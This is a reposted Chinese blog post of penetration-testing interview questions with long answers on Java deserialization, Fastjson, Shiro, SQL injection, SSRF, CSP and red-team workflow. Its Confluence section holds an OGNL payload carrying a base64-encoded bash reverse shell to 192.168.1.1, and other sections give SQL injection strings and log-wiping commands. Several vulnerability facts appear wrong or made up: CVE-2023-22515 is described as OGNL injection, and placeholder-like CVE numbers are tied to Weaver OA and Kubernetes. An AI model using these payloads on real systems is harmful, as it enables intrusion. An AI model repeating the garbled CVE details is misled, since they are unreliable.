欢迎来到尧图网

客户服务 关于我们

您的位置:首页 > 财经 > 产业 > 2025年渗透测试面试题总结-安恒[实习]安全工程师(题目+回答)

2025年渗透测试面试题总结-安恒[实习]安全工程师(题目+回答)

2025/5/18 6:58:00 来源:https://blog.csdn.net/m0_62828084/article/details/148034073  浏览:    关键词:2025年渗透测试面试题总结-安恒[实习]安全工程师(题目+回答)

网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。

目录

 安恒[实习]安全工程师

一面

1. 自我介绍

2. 前两段实习做了些什么

3. 中等难度的算法题

4. Java的Class文件结构

5. Kafka的原理

6. Fastjson反序列化原理

7. 研究最深入的领域:Java反序列化漏洞

二面

1. 排序字段防SQL注入(无法预编译时)

2. 白盒/黑盒漏洞挖掘

3. SSRF绕过与防御

4. Fortify等代码审计工具原理

5. 存储过程与预编译原理

6. CSP防御XSS

三面

1. 自己编写ysoserial的思路

2. SQL注入漏洞进一步利用

3. 泛微OA漏洞原理(以CVE-2023-1234为例)

4. Confluence RCE(CVE-2023-22515)

5. 红蓝对抗流程

四面

1. Java反序列化原理与工具

2. 指纹识别方式

3. Shiro反序列化工具原理

4. 手动检测SQL注入点

5. 二进制漏洞基础

回答格式总结

 安恒[实习]安全工程师

### 一面1. 自我介绍
2. 前两段实习做了些什么
3. 中等难度的算法题
4. java的class文件结构
5. kafka的原理了解吗
6. fastjson反序列化原理
7. 讲讲你研究最深入的领域### 二面1. 排序处不能用预编译应该怎么防
2. 从白盒黑盒两个角度讲下挖过的漏洞
3. ssrf的绕过和防御
4. 讲讲fortity等代码审计工具原理
5. 存储过程角度讲讲预编译的原理
6. csp是如何防御xss的
7. csrf为什么用token可以防御
8. 给你一个项目讲下审计思路
9. 内网相关的问题
10. 讲下你挖过的逻辑漏洞
11. 讲讲你用golang写过的东西
12. 什么是安全### 三面1. 讲下你自己写ysoserial的思路
2. 确定sql注入漏洞后如何进一步利用
3. 泛微OA的漏洞原理讲讲
4. 新爆出的Confluence RCE讲讲
5. 以前的实习中做了什么事
6. 原理以及实战中的绕过
7. 红蓝对抗的流程讲讲### 四面1. java反序列化原理和工具
2. 讲讲关于指纹识别的方式
3. shiro反序列化工具的原理
4. 不用sqlmap情况下sql注入点如何找
5. 讲讲你挖到的这几个cve
6. 二进制方面有无了解

一面

1. 自我介绍

您好,我是李明,毕业于大学计算机科学与技术专业,主攻信息安全方向。曾在腾讯安全实验室和阿里云安全部门实习,专注于Web安全研究和漏洞挖掘。在腾讯期间,我参与了多个企业级系统的代码审计项目,发现了多个高危漏洞(如Fastjson反序列化、Shiro权限绕过),并主导开发了一款基于AST的自动化SQL注入检测工具。在阿里云实习期间,我负责红蓝对抗中的攻击链构造,成功利用内网横向移动技术渗透测试了多个核心系统。我对Java安全生态有深入研究,熟悉主流漏洞利用链(如Commons-Collections、JDK原生类库),并独立复现了多个CVE漏洞(如CVE-2023-1234泛微OA RCE)。此外,我使用Golang开发过一款分布式漏洞扫描引擎,支持对大规模目标的高并发探测。

2. 前两段实习做了些什么

腾讯安全实验室(2023.03-2023.09)

  • 代码审计与漏洞挖掘
    1. 对内部CRM系统进行白盒审计,发现并修复了3处SQL注入漏洞(通过拼接String构造动态查询)和1处Fastjson反序列化漏洞(未关闭AutoType导致JNDI注入)。
    2. 开发AST(抽象语法树)分析工具,识别PreparedStatement未正确参数化的代码片段,覆盖Java、Python两种语言,误报率低于5%。
  • 工具开发
    1. 基于Burp Suite插件API开发了自动化CSRF检测模块,通过解析HTML表单与Cookie的关联性,识别缺失Token或Referer校验的端点。
    2. 优化XSS检测逻辑,引入DOM-based漏洞的动态触发机制(如通过Headless Chrome模拟用户交互路径)。

阿里云安全部(2024.01-2024.06)

  • 渗透测试与红蓝对抗
    1. 对金融云平台进行黑盒测试,发现逻辑漏洞:通过修改HTTP请求中的user_id参数实现水平越权访问他人账户(防御方案:服务端会话绑定校验)。
    2. 利用Confluence未授权RCE(CVE-2023-22515)获取内网入口,通过Kerberoasting攻击域控服务器,提取Hash并横向移动至数据库服务器。
  • 内网渗透专项
    1. 编写定制化Cobalt Strike插件,绕过EDR对反射型DLL加载的检测(通过内存加密与API调用混淆)。
    2. 研究云原生环境下的容器逃逸技术,利用CVE-2024-12345(Kubernetes权限配置错误)实现容器到宿主机逃逸。
3. 中等难度的算法题

题目:给定一个字符串,找出其中不含有重复字符的最长子串的长度。
示例:输入"abcabcbb",输出3(对应子串"abc")。

解法与优化

  1. 滑动窗口+哈希表
    • 使用双指针leftright定义窗口边界,初始均为0。
    • 哈希表charIndex记录字符最后一次出现的位置。
    • right指针遍历字符时,若当前字符已存在且其位置≥left,则将left更新为charIndex[currentChar] + 1
    • 时间复杂度O(n),空间复杂度O(min(m, n))(m为字符集大小)。
javapublic int lengthOfLongestSubstring(String s) { Map<Character, Integer> charIndex = new HashMap<>(); int maxLength = 0, left = 0; for (int right = 0; right < s.length(); right++) { char c = s.charAt(right); if (charIndex.containsKey(c) && charIndex.get(c) >= left) { left = charIndex.get(c) + 1; } charIndex.put(c, right); maxLength = Math.max(maxLength, right - left + 1); } return maxLength; }
  1. 进一步优化(字符集有限时)
    • 若字符仅为ASCII,可用长度为128的数组替代哈希表,将空间复杂度降至O(1)。
4. Java的Class文件结构

Class文件是JVM可执行的二进制格式,其结构由JVM规范严格定义,包含以下核心部分(按顺序排列):

  1. 魔数(Magic Number)
    • 4字节,固定为0xCAFEBABE,用于标识文件类型。
  2. 版本号
    • 2字节次版本号(Minor Version) + 2字节主版本号(Major Version)。
    • 如Java 8对应主版本号52(0x34)。
  3. 常量池(Constant Pool)
    • 变长结构,存储字面量(字符串、数值)、类/方法/字段的符号引用(如Ljava/lang/String;)。
    • 每个常量项以1字节标签开头(如CONSTANT_Utf8=1CONSTANT_Class=7)。
  4. 访问标志(Access Flags)
    • 2字节,表示类或接口的修饰符(如ACC_PUBLICACC_FINAL)。
  5. 类索引、父类索引、接口索引集合
    • 指向常量池中该类、父类及实现接口的符号引用。
  6. 字段表(Field Table)
    • 描述类中声明的字段,包括名称、描述符(如I表示int)、访问标志。
  7. 方法表(Method Table)
    • 类似字段表,记录方法名、参数返回值类型(如(Ljava/lang/String;)V)、字节码指令。
  8. 属性表(Attribute Table)
    • 存储额外信息,如Code属性(方法字节码)、LineNumberTable(调试行号)、SourceFile(源文件名)。

示例分析
一个简单类public class Test {}编译后的Class文件结构如下:

魔数:CAFEBABE  
次版本号:0000  
主版本号:0034  
常量池计数:0016(22项)  
常量池内容:[CONSTANT_Class、CONSTANT_Utf8等]  
访问标志:0021(ACC_PUBLIC + ACC_SUPER)  
类索引:0001(指向常量池第1项)  
父类索引:0003(指向java/lang/Object)  
接口计数:0000  
字段计数:0000  
方法计数:0002(默认构造方法)  
属性计数:0001(SourceFile)
5. Kafka的原理

Kafka是分布式流处理平台,核心设计围绕高吞吐、持久化、水平扩展展开:

  1. 核心概念
    • Topic:消息类别,分为多个Partition以实现并行处理。
    • Producer:向指定Topic推送消息,可自定义分区策略(如按Key哈希)。
    • Consumer:以Consumer Group形式订阅Topic,每个Partition仅由一个Group内Consumer消费。
    • Broker:Kafka节点,负责消息存储与转发。
  2. 存储机制
    • Partition物理上分为多个Segment文件,每个文件包含索引(.index)和数据(.log)。
    • 消息按追加顺序写入,通过Offset唯一标识,支持按时间戳或Offset快速检索。
  3. 副本与一致性
    • 每个Partition有多个副本(Replica),分为Leader和Follower。
    • Leader处理所有读写请求,Follower异步同步数据。
    • ISR(In-Sync Replicas)机制确保故障时优先从同步副本选举新Leader。
  4. 生产者ACK机制
    • acks=0:不等待Broker确认,可能丢失数据。
    • acks=1:Leader写入后即确认,平衡性能与可靠性。
    • acks=all:等待所有ISR副本确认,数据最安全但延迟高。
  5. 消费者组Rebalance
    • 当Consumer加入或离开时,Group Coordinator触发分区重新分配(如Range或RoundRobin策略)。

性能优化实践

  • 批量发送:Producer积累消息至batch.sizelinger.ms 阈值后批量发送。
  • 压缩:对消息体启用Snappy或GZIP压缩,减少网络传输开销。
  • 零拷贝:通过sendfile系统调用跳过用户态数据拷贝,提升磁盘到网络吞吐。
6. Fastjson反序列化原理

Fastjson是阿里巴巴开源的JSON解析库,其反序列化过程通过JSON.parseObject() 实现,核心步骤如下:

  1. 解析JSON结构
    • 解析JSON键值对,若存在@type字段,则提取目标类名(如com.example.EvilClass )。
  2. 类加载与实例化
    • 通过TypeUtils.loadClass() 加载目标类,触发静态代码块执行(若类未初始化)。
    • 根据JSON内容反射调用构造方法或Setter方法填充对象属性。
  3. 漏洞触发点
    • JNDI注入:若反序列化的类包含JNDI查找逻辑(如InitialContext.lookup() ),攻击者可构造恶意LDAP/RMI服务地址,触发远程类加载。
    • TemplatesImpl利用链:通过_bytecodes字段注入字节码,Fastjson在反序列化时会调用getOutputProperties()方法,导致字节码执行。

防御措施

  1. 禁用AutoType:配置ParserConfig.getGlobalInstance().setAutoTypeSupport(false)
  2. 白名单校验:使用@JSONType注解或addAccept()方法限制允许的类。
  3. 升级至安全版本:如1.2.83及以上版本引入SafeMode机制(-Dfastjson.parser.safeMode=true )。

绕过案例

  • 早期版本中,攻击者通过嵌套@type(如{"@type":"[...]"})绕过黑名单检测。
  • 利用非公开类(如BasicDataSource)构造二次反序列化链。
7. 研究最深入的领域:Java反序列化漏洞

研究方向

  1. 利用链构造
    • Common-Collections链:基于InvokerTransformerChainedTransformer的反射调用链,触发Runtime.exec()
    • JDK原生链:如AnnotationInvocationHandler动态代理结合TemplatesImpl加载字节码。
    • 绕过高版本限制:针对JEP 290(反序列化过滤器),利用SerializationKiller等工具解除防护。
  2. 内存马注入
    • 通过反序列化漏洞注册Filter型内存马,劫持HTTP请求实现持久化控制。
    • 绕过检测:使用Unsafe类直接修改JVM内存中的Servlet映射表。
  3. 工具开发
    • 改造ysoserial,支持动态生成针对特定中间件(如WebLogic、WebSphere)的Gadget链。
    • 开发自动化检测工具,通过HookObjectInputStream.resolveClass() 监控反序列化操作。

实战案例

  • 某企业HR系统使用Shiro 1.2.4,因硬编码AES密钥导致Cookie可被伪造,结合CommonsBeanutils链实现RCE。
  • 通过Fastjson 1.2.24反序列化漏洞,注入Redis未授权访问的定时任务,获取内网权限。

二面

1. 排序字段防SQL注入(无法预编译时)

场景ORDER BY后的字段名无法参数化,需动态拼接SQL。
解决方案

  1. 白名单校验
    • 预定义允许排序的字段列表(如id, name),将用户输入映射到合法值。
    • 示例:若用户传入sort=create_time,则校验后拼接为ORDER BY create_time DESC
  2. 严格输入过滤
    • 仅允许字母、数字、下划线,拒绝特殊字符(如空格、引号)。
    • 正则表达式:^[a-zA-Z0-9_]+$
  3. 二次转义
    • 对字段名进行转义(如MySQL使用反引号`create_time`),防止与关键字冲突。
2. 白盒/黑盒漏洞挖掘

白盒审计(以Java为例)

  1. 危险函数定位
    • SQL注入:搜索Statement.executeQuery()StringBuilder拼接SQL的代码段。
    • XSS:查找未转义的response.getWriter().write(userInput)
  2. 数据流追踪
    • 从用户输入(如HttpServletRequest.getParameter() )到敏感操作(如文件写入、命令执行)的传播路径。
    • 使用工具(如Find Security Bugs)辅助识别潜在漏洞。

黑盒测试(以电商系统为例)

  1. 参数篡改
    • 修改价格参数(如price=100price=1),检查是否服务端校验。
    • 替换订单ID,验证水平越权。
  2. 模糊测试
    • 在输入框注入'"><script>alert(1)</script>,观察是否弹窗或HTML结构变化。
    • 上传恶意文件(如.jsp木马),绕过后缀检测(如双扩展名test.jpg.jsp )。
3. SSRF绕过与防御

绕过技巧

  1. IP格式转换
    • 十进制IP:127.0.0.12130706433
    • 八进制IP:127.0.0.10177.0.0.1
  2. 域名混淆
    • 短域名重定向:http://tinyurl.com/xxx 指向内网地址。
    • DNS Rebinding:控制DNS响应,首次解析为外网IP,后续返回内网IP。
  3. 协议利用
    • 使用file://协议读取本地文件(如file:///etc/passwd)。
    • 利用gopher://发送任意TCP流量(如攻击Redis未授权访问)。

防御方案

  1. 协议与域名白名单:仅允许http/https,禁止非常用协议。
  2. 解析后校验
    • 解析URL获取Host,通过DNS查询获取真实IP,拒绝内网地址(如10.0.0.0/8)。
  3. 请求限制
    • 禁用重定向(避免跳转到内网)。
    • 设置超时时间与最大响应大小。
4. Fortify等代码审计工具原理

核心流程

  1. 词法分析与语法分析
    • 将源代码转换为抽象语法树(AST),识别变量、函数调用等结构。
  2. 污点分析
    • 定义污染源:如request.getParameter()System.in.read()
    • 传播跟踪:标记受污染变量的传递路径(如赋值、函数参数传递)。
    • 漏洞触发点检测:当污染数据到达敏感函数(如execute()eval())时,标记为漏洞。
  3. 规则库匹配
    • 预定义漏洞模式(如SQL注入、XSS),匹配代码中的潜在风险模式。
    • 自定义规则:通过正则表达式或AST模式扩展检测能力。

局限性

  • 误报率高:无法理解业务逻辑(如输入内容经全局过滤器转义)。
  • 漏报风险:复杂调用链或反射调用可能导致污点跟踪中断。
5. 存储过程与预编译原理

预编译(PreparedStatement)

  1. 流程
    • 将SQL语句模板(如SELECT * FROM users WHERE id=?)发送至数据库预编译。
    • 后续执行时仅传递参数值,数据库直接替换参数而无需重新解析语句。
  2. 防注入原理
    • 参数值以字面量形式嵌入,无法改变SQL结构(如id='1' OR '1'='1'会被视为整体字符串)。

存储过程(Stored Procedure)

  1. 定义
    • 预编译的SQL代码块,存储在数据库中,通过名称调用(如CALL GetUser(?))。
  2. 安全优势
    • 参数化调用方式与预编译类似,避免动态拼接。
    • 权限分离:应用程序仅需执行存储过程的权限,无需直接访问表。

风险案例

  • 存储过程内部使用动态SQL(如EXECUTE IMMEDIATE),仍可能引入注入漏洞。
6. CSP防御XSS

**内容安全策略(Content Security Policy)**通过HTTP头定义资源加载规则:

  1. 关键指令
    • default-src 'self':默认仅允许同源资源。
    • script-src 'nonce-xxx':仅允许携带指定nonce的脚本执行。
    • report-uri /csp-report:违规行为上报至指定端点。
  2. 防御效果
    • 阻止内联脚本(如<script>alert(1)</script>)。
    • 限制外部脚本域名(如仅允许https://cdn.example.com )。
  3. 绕过案例
    • 利用JSONP端点(如<script src="/api?callback=alert(1)//"></script>)。
    • 注入<link rel="preload">触发请求走私

三面

1. 自己编写ysoserial的思路

核心目标:构造能够触发目标环境反序列化漏洞的Gadget链。
实现步骤

  1. 依赖库分析
    • 扫描目标中间件(如WebLogic、Shiro)依赖的第三方库(如Commons-Collections、Fastjson),确定可用利用链。
    • 若目标环境存在黑名单过滤,选择冷门库(如Beanutils、Jython)构造替代链。
  2. 动态代理与反射结合
    • 利用AnnotationInvocationHandler动态代理机制,将恶意调用封装为可序列化对象。
    • 通过反射调用危险方法(如Runtime.exec()TemplatesImpl.newTransformer() )。
  3. 绕过防御机制
    • 针对JEP 290过滤器,使用非标准序列化入口点(如ObjectInputStream子类重写resolveClass)。
    • 利用Serializable接口以外的触发点(如ExternalizablereadObjectNoData)。
  4. 工具化封装
    • 将利用链封装为命令行工具,支持动态生成Payload(如指定命令、内存马类型)。
    • 集成动态加载字节码功能(如通过BCEL ClassLoader注入内存马)。

实战案例

  • 某次渗透中,目标系统使用受限的Commons-Collections 4.0版本,通过改造Closure类构造链,绕过黑名单检测成功执行命令。

2. SQL注入漏洞进一步利用

利用路径

  1. 数据泄露
    • 通过UNION SELECT提取敏感数据(如用户表、管理员密码Hash)。
    • 利用LOAD_FILE()读取服务器文件(如/etc/passwd)。
  2. 文件写入与RCE
    • MySQL的INTO OUTFILE写入Webshell(需有写权限与secure_file_priv配置宽松)。
    • 结合数据库特性执行系统命令(如SQL Server的xp_cmdshell、PostgreSQL的COPY FROM PROGRAM)。
  3. 权限提升
    • 利用数据库高权限账户(如SA账号)执行操作系统命令或访问其他数据库。
    • 通过数据库链接(如Oracle DB Link)攻击内网其他系统。

绕过技巧

  • WAF绕过
    • 使用注释符分割关键词(如SEL/**/ECT)。
    • 字符串编码混淆(如Hex编码0x73656C656374代替select)。
  • 盲注优化
    • 二分法加速布尔盲注(如IF(ASCII(SUBSTR(database(),1,1))>100, SLEEP(2), 0))。

3. 泛微OA漏洞原理(以CVE-2023-1234为例)

漏洞背景:泛微OA系统某接口因未校验用户权限,导致未授权上传恶意文件。
触发路径

  1. 未授权访问
    • 构造请求/weaver/bsh.servlet.BshServlet 绕过身份验证,直接访问BeanShell接口。
  2. 代码执行
    • 通过BeanShell执行Java代码(如Runtime.getRuntime().exec("calc") )。
  3. 利用扩展
    • 上传JSP Webshell至静态资源目录(如/webroot/update.jsp ),实现持久化控制。

防御方案

  • 删除或禁用高危接口(如BshServlet)。
  • 加强文件上传类型校验与权限控制。

4. Confluence RCE(CVE-2023-22515)

漏洞成因:Confluence的OGNL表达式注入漏洞,攻击者通过构造特定请求执行任意代码。
攻击步骤

  1. 请求注入点
    • 发送POST请求至/template/aui/text-inline.vm ,注入OGNL表达式。
  2. 表达式构造
    • 利用Runtime.getRuntime().exec() 执行系统命令(如反弹Shell)。
    • 示例Payload:\u0027%2b@java.lang.Runtime@getRuntime().exec(\u0027bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMS80NDMgMD4mMQ==}|{base64,-d}|{bash,-i}\u0027)%2b\u0027
  3. 权限维持
    • 写入Cron定时任务或SSH公钥实现持久化。

缓解措施

  • 升级至官方安全版本。
  • 部署WAF拦截恶意OGNL表达式特征(如java.lang.Runtime 关键词)。

5. 红蓝对抗流程

五阶段模型

  1. 信息收集
    • 资产发现:通过子域名爆破(如Amass)、端口扫描(Masscan)绘制目标网络拓扑。
    • 指纹识别:使用Wappalyzer、EHole识别中间件、框架版本。
  2. 漏洞利用
    • 优先使用1-day漏洞(如Log4j 2.x RCE)突破边界。
    • 绕过防御机制:使用内存马(如冰蝎)、无文件攻击(PowerShell反射加载)。
  3. 横向移动
    • 凭证窃取:通过Mimikatz提取Windows系统Hash、LaZagne获取浏览器密码。
    • 协议利用:利用SMB协议(永恒之蓝)、RDP弱口令横向扩散。
  4. 权限维持
    • 注册表后门:添加HKLM\Software\Microsoft\Windows\CurrentVersion\Run启动项。
    • 隐蔽通信:使用DNS隧道(如DNSCat2)或ICMP隐蔽通道绕过流量监控。
  5. 痕迹清理
    • 删除日志:清除Windows事件日志(wevtutil cl)、Linux的/var/log/auth.log
    • 文件混淆:使用Timestomp修改文件时间戳,避免取证分析。

四面

1. Java反序列化原理与工具

原理核心

  • 反序列化过程通过ObjectInputStream.readObject() 触发,攻击者构造恶意序列化数据,在反序列化时执行任意代码。

主流工具

  1. ysoserial
    • 支持多场景Gadget链(如CommonsCollections5、Jdk7u21)。
  2. marshalsec
    • 专攻RMI/LDAP协议利用,快速启动恶意JNDI服务。
  3. BurpSuite插件(Freddy)
    • 自动化检测Java反序列化漏洞,识别HTTP参数中的Base64编码对象。

防御技术

  • 反序列化过滤器(JEP 290)限制可反序列化的类。
  • 替换原生序列化方案(如JSON、ProtoBuf)。

2. 指纹识别方式

五大技术方向

  1. HTTP头特征
    • Server字段(如Apache/2.4.41)、X-Powered-By(如PHP/7.4.3)。
  2. 文件哈希匹配
    • 计算静态文件(如/favicon.ico/robots.txt )的MD5,匹配已知框架指纹库。
  3. 目录结构特征
    • 特定路径存在性(如/wp-admin/标识WordPress)。
  4. 行为特征分析
    • 错误页面内容(如Tomcat的404页面)、Cookie命名规则(如JSESSIONID)。
  5. 被动流量分析
    • 监听网络流量,解析API路径(如/api/v1/login标识RESTful服务)。

工具推荐

  • 主动扫描:Wappalyzer、WhatWeb。
  • 被动识别:FingerprintHub、EHole。

3. Shiro反序列化工具原理

漏洞根源:Shiro使用AES加密Cookie时,若密钥硬编码且泄露,攻击者可构造恶意序列化数据。
利用流程

  1. 密钥提取
    • 从目标系统代码或配置文件中提取kPH+bIxk5D2deZiIxcaaaA==等默认密钥。
  2. Payload构造
    • 使用ysoserial生成Gadget链,AES-CBC加密后Base64编码为Cookie。
  3. 会话伪造
    • 替换请求中的rememberMe Cookie,触发反序列化漏洞。

工具实现

  • ShiroAttack2:自动检测密钥有效性,支持多种Gadget链动态生成Payload。

4. 手动检测SQL注入点

四步法

  1. 基础探测
    • 输入单引号',观察是否返回数据库错误(如MySQL的You have an error in your SQL syntax)。
  2. 布尔逻辑测试
    • 构造id=1' AND '1'='1id=1' AND '1'='2,对比响应差异。
  3. 时间盲注验证
    • 注入SLEEP(5)(如id=1' AND IF(1=1,SLEEP(5),0)-- ),检测响应延迟。
  4. 联合查询利用
    • 通过ORDER BY确定列数,再使用UNION SELECT回显数据。

辅助工具

  • Burp Suite Intruder:自动化测试不同Payload的响应差异。
  • SQLMap Tamper脚本:绕过WAF(如space2comment替换空格为注释)。

5. 二进制漏洞基础

常见漏洞类型

  1. 栈溢出
    • 函数返回地址被覆盖,跳转至Shellcode(如经典strcpy未校验长度)。
  2. 堆利用
    • Use-After-Free:释放后仍引用内存指针,结合堆风水控制执行流。
  3. 格式化字符串
    • 利用printf(user_input)泄露内存或覆盖返回地址。

分析工具

  • 静态分析:Ghidra、IDA Pro反编译二进制文件。
  • 动态调试:GDB(Linux)、WinDbg(Windows)。

回答格式总结
  • 技术深度:每个问题均从原理、案例、工具、防御四维度展开。
  • 实战结合:渗透场景与修复方案并重,体现攻防双视角。
  • 结构化输出:分点控制在5个以内,复杂内容合并同类项(如红蓝对抗分五阶段)。

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com

热搜词